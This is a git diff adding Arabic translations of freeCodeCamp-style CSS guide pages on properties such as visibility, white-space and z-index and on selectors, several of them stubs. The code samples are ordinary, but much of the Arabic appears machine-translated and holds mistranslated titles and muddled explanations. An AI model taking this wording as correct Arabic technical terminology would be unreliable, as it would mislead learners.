\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/vertical-align-property/index.md b/client/src/guide/arabic/css/properties/vertical-align-property/index.md
new file mode 100644
index 0000000000..0bc54c7448
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/vertical-align-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Align Property
+localeTitle: عمودي محاذاة الملكية
+---
+## عمودي محاذاة الملكية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/vertical-align-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/visibility-property/index.md b/client/src/guide/arabic/css/properties/visibility-property/index.md
new file mode 100644
index 0000000000..e3af66713f
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/visibility-property/index.md
@@ -0,0 +1,32 @@
+---
+title: Visibility Property
+localeTitle: خاصية الرؤية
+---
+## خاصية الرؤية
+
+يمكن استخدام خاصية الرؤية للتحكم في رؤية أي عنصر. القيمة الافتراضية هي `visibility: visible;`
+
+#### القيم الممكنة:
+
+يمكن أن تحتوي خاصية الرؤية على 5 قيم محتملة.
+
+1.  `visible` : هي القيمة الافتراضية التي تعرض عنصرًا ما.
+2.  `hidden` : تخفي هذه القيمة عنصرًا ولكنها تحافظ على التنسيق أو المساحة التي يشغلها العنصر.
+3.  `collapse` : تشبه هذه القيم العناصر المخفية ولكنها تنطبق على صفوف أو أعمدة الجدول. يخفي محتويات الصف أو العمود.
+4.  `initial` : يؤدي هذا إلى تعيين الخاصية إلى قيمتها الافتراضية (مرئية).
+5.  `inherit` : يرث هذا قيمة الخاصية من عنصرها الرئيسي.
+
+#### أوجه التشابه والاختلاف مع الخصائص الأخرى:
+
+1.  العتامة: الفرق بين خاصية `visibility` و خاصية `opacity` ، يمكن استخدام العتامة للتلاشي والعنصر. `visibility: hidden;` `opacity: 0;` له تأثير مماثل على عنصر.
+    
+2.  العرض: الفرق الوحيد بين الرؤية: مخفي ؛ وعرض: لا شيء ؛ هو أن هذا الأخير يزيل التصميم أو المساحة التي يشغلها العنصر أيضًا.
+    
+
+#### التوافق المتصفح:
+
+هذا هو خاصية CSS2 ومتوافق مع جميع المتصفحات الرئيسية.
+
+#### معلومات اكثر:
+
+[رؤية CSS - w3school](https://www.w3schools.com/cssref/pr_class_visibility.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/white-space-property/index.md b/client/src/guide/arabic/css/properties/white-space-property/index.md
new file mode 100644
index 0000000000..1ab666a738
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/white-space-property/index.md
@@ -0,0 +1,36 @@
+---
+title: White Space Property
+localeTitle: الملكية الفضائية البيضاء
+---
+## الملكية الفضائية البيضاء
+
+تحدد خاصية المسافة البيضاء كيفية عرض المسافات بين الكلمات.
+
+#### بناء الجملة
+
+مساحة بيضاء: طبيعي | nowrap | قبل قبل الخط | قبل التفاف | يرث
+
+#### مثال
+
+ `p { 
+  white-space: nowrap; 
+ } 
+` 
+
+#### القيم
+
+عادي: القيمة الافتراضية. ستنهار تسلسل الفراغات في مسافة بيضاء واحدة. سيتم التفاف النص عند الضرورة. Nowrap: ستنهار تسلسل المسافات البيضاء في مسافة بيضاء واحدة. لن يلتف النص أبداً إلى السطر التالي. قبل: يتم الحفاظ على وايتسبيس بواسطة المستعرض. سيتم التفاف النص فقط على فواصل الأسطر. يعمل مثل
+
+ العلامة في HTML. 
+ الخط المسبق: ستنهار تسلسل المسافات البيضاء في مسافة بيضاء واحدة. سيتم التفاف النص عند الضرورة. 
+ قبل الالتفاف: يتم الحفاظ على Whitespace بواسطة المتصفح. سيتم التفاف النص عند الضرورة. 
+ Initial: يعيّن هذه الخاصية إلى قيمتها الافتراضية. 
+ اكتساب: يرث هذه الخاصية من عنصرها الرئيسي. 
+
+####  مصدر: 
+
+ [مساحة بيضاء على W3schools](https://www.w3schools.com/cssref/pr_text_white-space.asp) 
+
+####  معلومات اكثر: 
+
+ [مساحة بيضاء على MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/white-space) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/width-property/index.md b/client/src/guide/arabic/css/properties/width-property/index.md
new file mode 100644
index 0000000000..d1247f5334
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/width-property/index.md
@@ -0,0 +1,24 @@
+---
+title: Width Property
+localeTitle: خاصية العرض
+---
+## خاصية العرض
+
+تحدد خاصية العرض عرض عنصر. يمكن أن تكون قيمة الكلمة الرئيسية ، قيمة الطول (أي قيمة متبوعة بوحدة CSS مثل px أو em) ، أو النسبة المئوية ، أو يمكن أن تكون موروثة عن طريق الأصل. بشكل افتراضي ، تكون القيمة هي تلقائي.
+
+**ملاحظة** : لا تتضمن الخاصية width مساحة أو حدود أو هوامش. يحدد عرض المساحة داخل المساحة ، والحدود ، والهامش للعنصر!
+
+ `    .length-value {width: 100px;} 
+    .percentage {width: 50%;} 
+    .auto {width: auto;} 
+    .inherit {width: inherit;} 
+    .initial {width: initial;} 
+` 
+
+**ملاحظة** : تتجاوز خصائص min-width و max-width العرض.
+
+#### معلومات اكثر:
+
+المستندات: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/width)
+
+دعم المتصفح: يتم تصنيفها ضمن "مجموعة فرعية مدعومة بشكل جيد" ، لذلك لا داعي للقلق بشأن دعم المستعرض
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/z-index-property/index.md b/client/src/guide/arabic/css/properties/z-index-property/index.md
new file mode 100644
index 0000000000..b98a46ad61
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/z-index-property/index.md
@@ -0,0 +1,27 @@
+---
+title: Z Index Property
+localeTitle: مع خاصية الفهرس
+---
+## خصائص الفهرس
+
+تحدد خاصية z-index ترتيب مكدس عنصر. يمكن أن تتداخل أي عناصر موضعية على صفحة ويب مع بعضها البعض بترتيب معين ، حيث تقلد بعدًا ثالثًا عموديًا على الشاشة. يوجد دائماً عنصر يحتوي على ترتيب أكبر للمكدس أمام عنصر به ترتيب رصة أقل. يتم التحكم في ترتيب المكدس بواسطة مؤشر z. تعمل هذه الخاصية فقط للعناصر التي يتم تعيين قيمة الموضع الخاصة بها على مطلق أو ثابت أو نسبي.
+
+#### بناء الجملة
+
+z-index: auto | number | initial | inherit؛
+
+#### مثال
+
+ `div { 
+  position: absolute; 
+  z-index: -1; 
+ } 
+` 
+
+#### القيم
+
+تلقائي: يضبط ترتيب المكدس مساويًا لوالديه. هذا هو الافتراضي. الرقم: يقوم بضبط ترتيب مكدس العنصر. الأرقام السلبية مسموح بها. كلما زادت القيمة ، كلما كان العنصر أعلى. مع قيمة متساوية من z-index ، سيكون العنصر الموضح في شفرة HTML أدناه في المقدمة. Initial: يعيّن هذه الخاصية إلى قيمتها الافتراضية. اكتساب: يرث هذه الخاصية من عنصرها الرئيسي.
+
+#### معلومات اكثر:
+
+[Z-index على MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/z-index) [Z-index onW3schools](https://www.w3schools.com/cssref/pr_pos_z-index.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors-reference/index.md b/client/src/guide/arabic/css/selectors-reference/index.md
new file mode 100644
index 0000000000..a89d7e552c
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors-reference/index.md
@@ -0,0 +1,11 @@
+---
+title: Selectors Reference
+localeTitle: مرجع التحديد
+---
+## مرجع التحديد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors-reference/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/attribute/class-equals/index.md b/client/src/guide/arabic/css/selectors/attribute/class-equals/index.md
new file mode 100644
index 0000000000..5b17fda4aa
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/attribute/class-equals/index.md
@@ -0,0 +1,11 @@
+---
+title: Class Equals
+localeTitle: فئة يساوي
+---
+## فئة يساوي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/class-equals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/attribute/class/index.md b/client/src/guide/arabic/css/selectors/attribute/class/index.md
new file mode 100644
index 0000000000..4d614eb237
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/attribute/class/index.md
@@ -0,0 +1,29 @@
+---
+title: Class
+localeTitle: صف دراسي
+---
+## صف دراسي
+
+يتم استخدام محدد CSS "class" لتطبيق النمط نفسه على عناصر متعددة على الصفحة. طريقة رائعة للتفكير في هذا سيكون مثل مخطط سيارة أو مبنى. ستسمح لك الخطة ببناء عدة سيارات أو عدة أبنية بنفس الطريقة بعد تصميم التخطيط الفعلي مرة واحدة.
+
+### استخدم حالات
+
+خلافا لأسماء فئة "معرف" CSS ليست فريدة. لذلك ، لا بأس من استخدام "class" عدة مرات إذا كنت ترغب في أن يكون لهذه العناصر نفس النمط المطبق. في الواقع ، سيكون هذا وقتًا رائعًا لاستخدام "الفئة". إذا كنت ترغب في وجود ثلاثة عناصر "div" في HTML لديك خلفية زرقاء ، يمكنك استخدام فئة مرة واحدة في CSS كما يظهر في المثال أدناه.
+
+ `<html> 
+ <style> 
+  .blueBg { 
+    background-color: blue; 
+  } 
+ </style> 
+  <body> 
+    <div class="blueBg"></div> 
+    <div class="blueBg"></div> 
+    <div class="blueBg"></div> 
+  </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
+
+إذا كنت ترغب في معرفة المزيد من المعلومات حول محدد CSS "class" ، فيرجى الانتقال إلى [هذه الصفحة](https://css-tricks.com/the-difference-between-id-and-class/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/attribute/dollar-sign-equals/index.md b/client/src/guide/arabic/css/selectors/attribute/dollar-sign-equals/index.md
new file mode 100644
index 0000000000..9abd07e345
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/attribute/dollar-sign-equals/index.md
@@ -0,0 +1,16 @@
+---
+title: Dollar Sign Equals
+localeTitle: علامة الدولار تساوي
+---
+## علامة الدولار تساوي
+
+علامة الدولار محدد CSS محدد أو $ يستخدم لتحديد السمات التي تنتهي بقيمة محددة.
+
+#### مثال
+
+إذا كنت تريد البحث في جميع روابط الربط بنوع الملف .pdf وجعلها حمراء ، فيمكنك القيام بذلك على النحو التالي:
+
+ `a[href$=".pdf"] { 
+   color: red; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/attribute/hat-equals/index.md b/client/src/guide/arabic/css/selectors/attribute/hat-equals/index.md
new file mode 100644
index 0000000000..a594f63d5b
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/attribute/hat-equals/index.md
@@ -0,0 +1,11 @@
+---
+title: Hat Equals
+localeTitle: القبعة يساوي
+---
+## القبعة يساوي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/hat-equals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/attribute/index.md b/client/src/guide/arabic/css/selectors/attribute/index.md
new file mode 100644
index 0000000000..d93a966418
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/attribute/index.md
@@ -0,0 +1,11 @@
+---
+title: Attribute
+localeTitle: صفة، عزا
+---
+## صفة، عزا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/attribute/star/index.md b/client/src/guide/arabic/css/selectors/attribute/star/index.md
new file mode 100644
index 0000000000..ef39756604
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/attribute/star/index.md
@@ -0,0 +1,16 @@
+---
+title: Star
+localeTitle: نجمة
+---
+## نجمة
+
+يتم استخدام محدد السمة Star CSS أو \* لتحديد السمات التي تحتوي على قيمة محددة.
+
+#### مثال
+
+إذا كنت تريد البحث في جميع روابط الربط التي تحتوي على "رمز" في أي مكان في قيمة عنوان URL وجعلها صفراء ، فيمكنك إجراء ذلك على النحو التالي:
+
+ `a[href*="code"] { 
+   color: yellow; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/general/ajacent-sibling/index.md b/client/src/guide/arabic/css/selectors/general/ajacent-sibling/index.md
new file mode 100644
index 0000000000..a5104ad69a
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/general/ajacent-sibling/index.md
@@ -0,0 +1,11 @@
+---
+title: Ajacent Sibling
+localeTitle: شقيقه المجاوره
+---
+## شقيقه المجاوره
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/ajacent-sibling/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/general/child/index.md b/client/src/guide/arabic/css/selectors/general/child/index.md
new file mode 100644
index 0000000000..01432adfea
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/general/child/index.md
@@ -0,0 +1,25 @@
+---
+title: Child
+localeTitle: طفل
+---
+## طفل
+
+يتم تمثيل محدد الطفل بـ `>` ويتم وضعه بين اثنين من المحددات: `parent > child` . يتطابق مع أي محدد الثاني هم أبناء المحدد الأول (الأصل). يجب أن يكون المختار الثاني أطفالًا فوريين للأول.
+
+في ما يلي مثال على البنية:
+
+ `first selector (parent) > second selector (child) { 
+    css declarations; 
+ } 
+` 
+
+في ما يلي مثال الكود الذي يطابق كل عنصر `span` الفوري مع أصل `div` :
+
+ `div > span { 
+    background-color: red; 
+ } 
+` 
+
+### معلومات اكثر:
+
+*   [W3C الطفل محدد العمل مسودة](https://www.w3.org/TR/CSS22/selector.html#child-selectors)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/general/descendant/index.md b/client/src/guide/arabic/css/selectors/general/descendant/index.md
new file mode 100644
index 0000000000..b0d6bc1a87
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/general/descendant/index.md
@@ -0,0 +1,11 @@
+---
+title: Descendant
+localeTitle: تنازلي
+---
+## تنازلي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/descendant/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/general/general-sibling/index.md b/client/src/guide/arabic/css/selectors/general/general-sibling/index.md
new file mode 100644
index 0000000000..b8222cff56
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/general/general-sibling/index.md
@@ -0,0 +1,11 @@
+---
+title: General Sibling
+localeTitle: الجنرال شقيقه
+---
+## الجنرال شقيقه
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/general-sibling/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/general/id/index.md b/client/src/guide/arabic/css/selectors/general/id/index.md
new file mode 100644
index 0000000000..e66809b69f
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/general/id/index.md
@@ -0,0 +1,11 @@
+---
+title: Id
+localeTitle: هوية شخصية
+---
+## هوية شخصية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/id/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/general/index.md b/client/src/guide/arabic/css/selectors/general/index.md
new file mode 100644
index 0000000000..09aa21459d
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/general/index.md
@@ -0,0 +1,11 @@
+---
+title: General
+localeTitle: جنرال لواء
+---
+## جنرال لواء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/general/type/index.md b/client/src/guide/arabic/css/selectors/general/type/index.md
new file mode 100644
index 0000000000..1ed282b4b5
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/general/type/index.md
@@ -0,0 +1,34 @@
+---
+title: Type
+localeTitle: نوع
+---
+## نوع
+
+يحدد Selector Selector العناصر حسب اسم العقدة (tag).
+
+#### كود النحو
+
+ `* { 
+    css declarations; 
+ } 
+` 
+
+#### مثال الكود
+
+ `h1 { 
+    background-color: red; 
+ } 
+` 
+
+يختار كل عنصر h1 وتعيين لون الخلفية باللون الأحمر.
+
+ `div { 
+    width: 100px; 
+ } 
+` 
+
+يختار كل عنصر div وعرض عنصر العرض 100 بكسل.
+
+#### معلومات اكثر:
+
+*   [W3C مسودة العمل](https://www.w3.org/TR/CSS22/selector.html#type-selectors)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/general/universal/index.md b/client/src/guide/arabic/css/selectors/general/universal/index.md
new file mode 100644
index 0000000000..b391aa1b96
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/general/universal/index.md
@@ -0,0 +1,42 @@
+---
+title: Universal
+localeTitle: عالمي
+---
+## عالمي
+
+يحدد Universal Selector (\*) كافة العناصر. كما أنه يحدد جميع العناصر داخل عنصر. يمكنك إرفاق محدد عالمي مع أي محدد آخر.
+
+### كود النحو
+
+ `* { 
+  css declarations; 
+ } 
+` 
+
+ `element * { 
+  css declarations; 
+ } 
+` 
+
+#### مثال الكود
+
+يطابق هذا المحدد جميع العناصر ويضبط لون الخط كمؤشر أخضر.
+
+ `* { 
+  color: green; 
+ } 
+` 
+
+يحدد هذا المحدد جميع عناصر div ويضبط لون الخط كملف أخضر.
+
+ `div * { 
+  color: green; 
+ } 
+` 
+
+يحدد هذا المحدد جميع العناصر التي تبدأ قيمة سمة اللغة الخاصة بها بـ en.
+
+ `* [lang^=en] { 
+  color: green; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/index.md b/client/src/guide/arabic/css/selectors/index.md
new file mode 100644
index 0000000000..226d103a9d
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/index.md
@@ -0,0 +1,47 @@
+---
+title: Selectors
+localeTitle: محددات
+---
+# محددات
+
+المحددات هي قواعد CSS لاستهداف عناصر HTML لتطبيق الأنماط. أسماء العلامات وأسماء الفئات والمعرفات والسمات هي بعض الخطافات المستخدمة كمحددات.
+
+## محدد بناء الجملة
+
+ستتراكم المحضرات مرتبة في تسلسل محدد لقاعدة لاستهداف العناصر. مثال،
+
+ `/* selects anchor tags */ 
+ a { 
+    color: orange; 
+ } 
+ 
+ /* selects elements with hero class */ 
+ .hero { 
+    text-align: center; 
+ } 
+` 
+
+## نوع من المحددات
+
+النوع | وصف ------- | ------------ اكتب المحددات يتم استخدام أسماء العلامات لتحديد عناصر مثل `h1` أو `a` . محدد عالمي المحدد الذي ينطبق على جميع العناصر. `div *` يطابق جميع العناصر داخل عناصر div. اختيار السمة | المحددات التي تستهدف العناصر بناءً على سماتها \[واختياريا ، قيمها\]. `h1[title]` بتحديد عناصر `h1` باستخدام سمة `title` . اختيار الطبقة | محدد يستهدف العناصر باستخدام أسماء الفئات الخاصة بهم. محدد الهوية | المحدد الذي يستخدم معرف لاستهداف العناصر. `#logo` يختار العنصر مع `logo` `#logo` . اختيار زائف من الدرجة | محددات خاصة تستهدف عناصر تستند إلى حالتها. `a:hover` يطبق محدد `a:hover` النمط عند `a:hover` المؤشر فوق الروابط.
+
+## المحددات Comborators
+
+Combinator | غرض ----------- | ------------ `white space` | سليل combinator. `.nav li` يختار كل `li` الأطفال داخل الطبقة `.nav` ، بما في ذلك متداخلة `li` العناصر. `>` | طفل combinator. `.menu > li` يحدد كل li الأطفال المباشرين للعناصر ذات فئة `.menu` . `+` | المجاور الأخت المشارك. `.logo + h1` يستهدف `h1` الذي هو `.logo` مباشرة إلى فئة `.logo` . `~` | الأخت الأختام العامة. `header ~ div` تستهدف عناصر `div` التي هي أشقاء لعناصر `header` .
+
+هذا القسم تفاصيل كل هؤلاء الناخبين.
+
+#### معلومات اكثر:
+
+يمكنك معرفة المزيد حول المحددات على هذه الموارد:
+
+*   [مواصفات محدد CSS3 الرسمي](https://www.w3.org/TR/css3-selectors)
+*   [صفحة الاختيارات على شبكة مطوري موزيلا](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors)
+*   [CSS مختارات الغش ورقة على أدلة FreeCodeCamp](https://guide.freecodecamp.org/css/tutorials/css-selectors-cheat-sheet)
+
+يتم تحديد المحددات في CSS (أوراق الأنماط المتتالية) استنادًا إلى _الخصوصية_ ، حيث يمكننا أن نكون أكثر تحديدًا في قواعد الأنماط الخاصة بنا وتجاوز القواعد الأخرى التي قد تستهدف نفس العنصر ولكنها ليست محددة. تعتمد الطريقة التي يعمل بها هذا التسلسل الهرمي الخاص على الوزن ، بمعنى أن العنصر المحدد له وزن 1 (واحد) ، فمحدد الفئة له وزن 10 (10) ، ومُحدّد هوية له وزن مائة (100). نحن قادرون على الجمع بين المختارين المختلفين معًا أكثر تحديدًا للعنصر الذي نريد تغييره.
+
+على سبيل المثال:
+
+`css p { color: blue; } p .red { color: red; }` سيحدد نوع محدد p جميع العناصر p في مستند html الخاص بنا ، ولكن سيكون له وزن واحد فقط. على النقيض من ذلك ، فإن محدد الصف لديه وزن 11 بسبب السبب في أننا نقوم بدمج محدد نوع مع محدد فئة (هذا المحدد هو مطابقة جميع عناصر p مع فئة من اللون الأحمر). - ستحظى القواعد المستهدفة بشكل مباشر دائمًا بالأسبقية على القواعد التي ترث عناصر من سلفها. - \* يتم تطبيق Specifity فقط عندما تستهدف إعلانات متعددة نفس العنصر ، ثم يتم تطبيق هذه القاعدة.  
+\- \* عادة ما يكون السبب هو عدم تطبيق بعض قواعد الأنماط الخاصة بك على العناصر التي تتوقعها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/pseudo/active/index.md b/client/src/guide/arabic/css/selectors/pseudo/active/index.md
new file mode 100644
index 0000000000..556029e232
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/pseudo/active/index.md
@@ -0,0 +1,25 @@
+---
+title: Active
+localeTitle: نشيط
+---
+## نشيط
+
+يقوم CSS: select selector بتغيير نمط عنصر HTML عندما يقوم المستخدم بتنشيط العنصر. يوفر هذا المحدد عادةً تأكيد المستخدم بأنهم قد نقروا على عنصر. يتم استخدام المحدد النشط: الأكثر شيوعًا على عناصر `<a>` و `<button>` ولكن يمكن استخدامه على جميع العناصر.
+
+في حالة استخدام العديد من محددات pseudo CSS ، يجب أن يأتي المحدد النشط: select the hover.
+
+في المثال أدناه ، عندما ينقر مستخدم على رابط ، سيتغير لون النص من الأسود إلى الأحمر إلى أن يتوقف إجراء النقر.
+
+ `a { 
+  color: black; 
+ } 
+ 
+ a:active { 
+  color: red; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/:active)
+*   [مدارس W3](https://www.w3schools.com/cssref/sel_active.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/pseudo/focus/index.md b/client/src/guide/arabic/css/selectors/pseudo/focus/index.md
new file mode 100644
index 0000000000..705326ff81
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/pseudo/focus/index.md
@@ -0,0 +1,60 @@
+---
+title: Focus
+localeTitle: التركيز
+---
+## التركيز
+
+### فريف
+
+يمثل `:focus` عنصرًا استلم حالة تركيز ، تم تشغيلها بواسطة حدث من لوحة المفاتيح. يأتي الإجراء Trigger من الضغط على المفتاح **TAB** ، والذي ينشئ حلقة حول عنصر بشكل مرئي.
+
+### بناء الجملة
+
+`:focus`
+
+### مثال
+
+ `a:focus { 
+  color: red; 
+ } 
+` 
+
+### انتاج |
+
+[رابط JSfiddle](https://jsfiddle.net/ejae7vb3/1/)
+
+#### معلومات اكثر:
+
+[MDN - شبكة مطوري موزيلا : التركيز - CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/:focus)
+
+يتم استخدام التركيز: فئة CSS الزائفة لتحديد العنصر الذي به تركيز (مثل إدخال نموذج).
+
+يتم تشغيلها عمومًا عندما ينقر المستخدم على عنصر أو ينقر عليه أو يحدده باستخدام مفتاح "tab" في لوحة المفاتيح.
+
+بناء الجملة:
+
+ `:focus 
+` 
+
+## مثال
+
+HTML:
+
+ `
+<form> 
+  <input type="text" value="The background will turn yellow when you click on it."> 
+ </form> 
+` 
+
+CSS:
+
+ `input:focus { 
+   background-color: yellow; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات ، قم بزيارة [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:focus)
+
+[W3.org | وثائق CSS](https://www.w3.org/TR/CSS2/selector.html#dynamic-pseudo-classes)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/pseudo/hover/index.md b/client/src/guide/arabic/css/selectors/pseudo/hover/index.md
new file mode 100644
index 0000000000..57828ae021
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/pseudo/hover/index.md
@@ -0,0 +1,90 @@
+---
+title: Hover
+localeTitle: يحوم
+---
+## يحوم
+
+The `selector:hover` يتم تشغيل فئة pseudo-class عند التفاعل مع العنصر (selector) مع وجود جهاز تأشير بشكل عام مؤشر الماوس. سيتم تجاوز أنماط العنصر المحلق فوق من خلال النمط المحدد في `selector:hover` فئة زائفة. لوضع روابط / عناصر نمطية يجب تعريف القواعد بالترتيب: : link -: visited -: hover -: active
+
+**بناء الجملة :**
+
+ ` selector:hover { 
+    css declarations; 
+ } 
+` 
+
+## مزيد من الأمثلة
+
+في ما يلي بعض الأمثلة الأكثر تعقيدًا عما يمكنك فعله باستخدام `:hover` فئة زائفة `:hover` . نضع في اعتبارنا أن `.second` شعبة **يجب أن** يأتي بعد `.first` شعبة في كل من هذه الأمثلة.
+
+1.  عندما تقوم بتحريك مؤشر الماوس فوق عنصر ما ، قم بتغيير الأخوة المجاورة.
+
+ `
+<style> 
+  .first:hover + .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first">First</div> 
+ <div class="second">Second</div> 
+` 
+
+سيعمل الرمز أعلاه على تغيير لون خلفية `.second` إلى blue عند تحريك مؤشر الماوس فوق `.first` .
+
+2.  عندما تقوم بتحريك مؤشر الماوس فوق عنصر ما ، قم بتغيير الأخوة العامة.
+
+ `
+<style> 
+  .first:hover ~ .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first">First</div> 
+ <div class="middle">Middle</div> 
+ <div class="second">Second</div> 
+` 
+
+يعطي هذا المثال مرونة أكثر قليلاً حيث لم يعد من الضروري أن يكون العنصران متجاورين مباشرة.
+
+3.  عندما تقوم بتحريك مؤشر الماوس فوق عنصر ما ، قم بتغيير سليل مباشر.
+
+ `
+<style> 
+  .first:hover > .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first"> 
+  First 
+  <div class="second">Second</div> 
+ </div> 
+` 
+
+سيعمل الرمز أعلاه على تغيير لون خلفية `.second` إلى blue عند تحريك مؤشر الماوس فوق `.first` .
+
+4.  عندما تقوم بتحريك مؤشر الماوس فوق عنصر ، قم بتغيير سلال عام.
+
+ `
+<style> 
+  .first:hover .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first"> 
+  First 
+  <div class="container"> 
+    Container 
+    <div class="second">Second</div> 
+  </div> 
+ </div> 
+` 
+
+وكما في المثال 2 ، فإن هذا يمنح المزيد من المرونة حيث أن العنصرين لم يعد من الضروري أن يكونا متجاورين مباشرة. ستلاحظ أن المساحة التي يمكن `.first` أكبر في الأمثلة 3 و 4. يحدث هذا لأنك لا تزال تحوم فوق `.first` ما دام المؤشر فوق أحد أطفاله.
+
+#### معلومات اكثر:
+
+[MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/%3Ahover) [w3schools](https://www.w3schools.com/cssref/sel_hover.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/pseudo/index.md b/client/src/guide/arabic/css/selectors/pseudo/index.md
new file mode 100644
index 0000000000..0343ba459c
--- /dev/null
